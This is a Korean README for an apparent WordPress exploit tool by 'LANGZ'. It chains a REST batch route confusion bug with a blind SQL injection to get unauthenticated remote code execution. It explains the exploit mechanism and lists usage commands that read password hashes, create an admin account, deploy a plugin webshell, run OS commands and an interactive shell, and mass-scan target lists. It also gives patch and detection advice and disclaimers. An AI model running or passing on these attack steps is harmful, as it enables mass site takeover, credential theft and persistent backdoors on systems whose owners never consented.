
CVE-2026-63030 REST 배치 라우트 혼동과 CVE-2026-60137 SQL 인젝션을 연계하여 인증되지 않은 WordPress RCE, 데이터베이스 읽기, 웹셸 배포를 달성하는 Python 익스플로잇 도구.
작성자: LANGZ
CVE: CVE-2026-63030 (CVE-2026-60137과 연계)
심각도: 치명적 (CVSS 9.8)
유형: 인증 전 원격 코드 실행 (RCE)
이 도구는 오직 교육 목적 및 승인된 보안 테스트 용도로만 제공됩니다.
이 도구를 사용함으로써 귀하는 다음 사항에 동의하게 됩니다:
승인 없이 시스템에 이 도구를 사용하는 것은 범죄 행위입니다.
작성자는 그러한 행위를 묵인하거나 지지하지 않으며, 어떠한 책임도 지지 않습니다.
CVE-2026-63030은 WordPress 코어의 REST API 배치 라우트 혼동 취약점(CWE-436)으로, 버전 6.9에서 도입되었습니다. CVE-2026-60137(WP_Query의 author__not_in 파라미터에 존재하는 블라인드 SQL 인젝션)과 연계될 경우, 인증되지 않은 공격자가 기본 WordPress 설치 환경에서 완전한 원격 코드 실행을 달성할 수 있습니다.
| 항목 | 세부 사항 |
|---|---|
| 영향받는 버전 | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| SQLi만 영향받는 버전 | WordPress 6.8.0 – 6.8.5 (CVE-2026-60137만 해당) |
| 필요한 인증 | 없음 |
| 사용자 상호작용 | 없음 |
| 영향 | 사이트 완전 장악 — 데이터베이스 읽기/쓰기, 임의 PHP 파일 업로드, OS 명령 실행 |
| 익스플로잇 상태 | 실제 공격에서 활발히 악용 중; 62,802개 이상의 고유 공격 IP 관측됨 |
공격자가 할 수 있는 일:
위험한 이유:
WordPress를 패치된 버전으로 업데이트하세요:
| 현재 버전 | 업데이트 대상 |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (SQLi 수정만 해당) |
참고: WordPress는 강제 자동 업데이트를 활성화했지만, 자동 업데이트가 비활성화된 사이트나 업데이트를 지연시키는 관리형 호스팅은 여전히 노출되어 있습니다. 업데이트가 성공적으로 적용되었는지 확인하세요.
/wp-json/batch/v1에 대한 POST 요청 차단?rest_route=/batch/v1에 대한 POST 요청 차단다음을 확인하세요:
/wp-json/batch/v1 또는 ?rest_route=/batch/v1에 대한 비정상적인 POST 요청/wp-content/cache/ 또는 기타 웹에서 접근 가능한 디렉터리의 의심스러운 PHP 파일침해 지표를 발견한 경우, 단순히 파일과 관리자 계정을 제거하는 것만으로는 충분하지 않습니다. 전체 사고 대응을 수행하고 완전한 시스템 재구축을 고려하세요.
익스플로잇 체인은 두 가지 취약점을 결합합니다:
WordPress의 REST API 배치 프로세서(serve_batch_request_v1)에는 오프바이원(off-by-one) 인덱싱 버그가 있습니다. wp_parse_url()이 하위 요청 경로(예: "///")에서 실패하면, 결과로 생성된 WP_Error가 $validation[]에 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 두 배열의 동기화가 깨져, 이후의 모든 요청이 잘못된 핸들러로 디스패치됩니다.
공격자는 하나의 배치 안에 신중하게 구성된 또 다른 배치를 중첩함으로써, 한 엔드포인트의 스키마로 검증된 요청을 완전히 다른 엔드포인트의 콜백을 통해 라우팅할 수 있습니다 — 권한 검사를 완전히 우회합니다.
혼동된 요청은 WP_Query의 author__not_in 파라미터에 도달합니다. WordPress는 문자열을 배열로 캐스팅하지만 absint() 정제를 건너뛰어, 원시 SQL 인젝션이 가능해집니다. 이 도구는 이를 이용하여:
UNION SELECT)WP_Post 객체로 WordPress의 객체 캐시 오염설정이 완료되면(테이블 접두사와 관리자 ID 발견), 권한 상승 페이로드가 단일 HTTP 요청으로 실행됩니다:
UNION을 통한 가짜 게시물)그런 다음 도구는 생성된 관리자 자격 증명을 사용하여 OS 명령 실행을 위한 플러그인 기반 웹셸을 배포합니다.
# 단일 대상 확인
python3 wp2shell.py http://target.com
# 활성 SQLi 확인과 함께 검사
python3 wp2shell.py http://target.com --confirm-sqli
# 데이터베이스 읽기 (핑거프린트)
python3 wp2shell.py http://target.com --read --preset fingerprint
# 사용자 로그인 및 비밀번호 해시 읽기
python3 wp2shell.py http://target.com --read --preset users
# 웹셸 배포 및 명령 실행
python3 wp2shell.py http://target.com --shell --cmd id
# 대화형 셸
python3 wp2shell.py http://target.com --shell -i
# 파일에서 대량 스캔
python3 wp2shell.py targets.txt
인수 없이 실행하면 대화형 메뉴가 열립니다:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
| 플래그 | 설명 |
|---|---|
--timeout | 요청 타임아웃(초) (기본값: 15) |
--proxy | HTTP 프록시 (예: http://127.0.0.1:8080) |
--threads | 대량 스캔용 병렬 스레드 (기본값: 50) |
--sleep | 블라인드 확인용 SQL 타이밍 지연 (기본값: 3) |
--samples | 확인용 타이밍 쌍 (기본값: 3) |
--confirm-sqli | 활성 SQLi 확인 페이로드 전송 |
--preset | fingerprint 또는 users |
--query | 읽을 사용자 지정 SQL 표현식 |
--prefix | 데이터베이스 테이블 접두사 (기본값: wp_) |
--max-length | 값당 최대 문자 수 (기본값: 128) |
--technique | auto, union, blind, 또는 error |
--user | 관리자 사용자 이름 (--shell용) |
--password | 관리자 비밀번호 (--shell용) |
--cmd | 대상에서 실행할 명령 |
-i, --interactive | 대화형 셸 열기 |
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
작성자 LANGZ는 이 도구로 인해 발생하는 어떠한 오용이나 손해에 대해서도 책임지지 않습니다.
작성자: LANGZ
CVE: CVE-2026-63030